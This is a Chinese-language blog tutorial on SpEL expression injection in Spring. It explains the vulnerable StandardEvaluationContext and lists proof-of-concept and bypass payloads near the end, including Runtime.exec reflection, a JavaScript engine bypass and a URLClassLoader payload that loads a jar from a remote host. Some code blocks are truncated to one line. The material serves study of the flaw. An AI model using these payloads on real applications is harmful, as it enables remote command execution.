
SpEL表达式注入
基础
SpEL 表达式
SpEL 的用法有三种形式:
- 注解 @Value
- XML 配置
- 在代码块中使用 Expression
常用语法:
T(): 运算符会调用类的作用域和方法
#: 获取定义的变量
Expression 用法
SpEL 在求表达式值时一般分为四步(第三步可选):
- 创建 SpEL 解析器
- 解析字符串表达式
- 创建上下文并设置变量
- 执行表达式
Demo:
1 | public class Demo { |

类实例化
这里的类名必须为全限定名,但 java.lang 包内的类型除外
1 | public class ExpressionCalc { |
SpEL 表达式注入漏洞
SpEL 提供两个EvaluationContext:
StandardEvaluationContext:支持全部 SpEL 语法SimpleEvaluationContext:仅支持 SpEL 语法字集,不包括 Java 类型引用,构造函数和 bean 引用
在不指定EvaluationContext的情况下默认采用StandardEvaluationContext,它包含了 SpEL 的所有功能,在允许用户控制输入的情况下就可以导致任意命令执行,上面那个例子即可弹计算器
漏洞的三个基本条件:
- 使用 StandardEvaluationContext
- 未对输入的 SpEL 进行校验
- 表达式调用了 getValue() 或 setValue() 方法
通过反射的方式进行 SpEL 注入
1 | T(String).getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\") |
基础 POC & Bypass
1 | // PoC |
基础 Bypass
1 | // 反射调用 |
JS Engine Bypass
javascript 作 Engine payload:
1 | new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("java.lang.Runtime.getRuntime().exec('calc');") |
URLClassLoader bypass
1 | new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://ip:port/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance() |
这里还有很多其他绕过方式,直接参考Java 之 SpEL 表达式注入
参考文章
本文是原创文章,采用CC BY-NC-SA 4.0协议,完整转载请注明来自Assass1nの小窝
评论





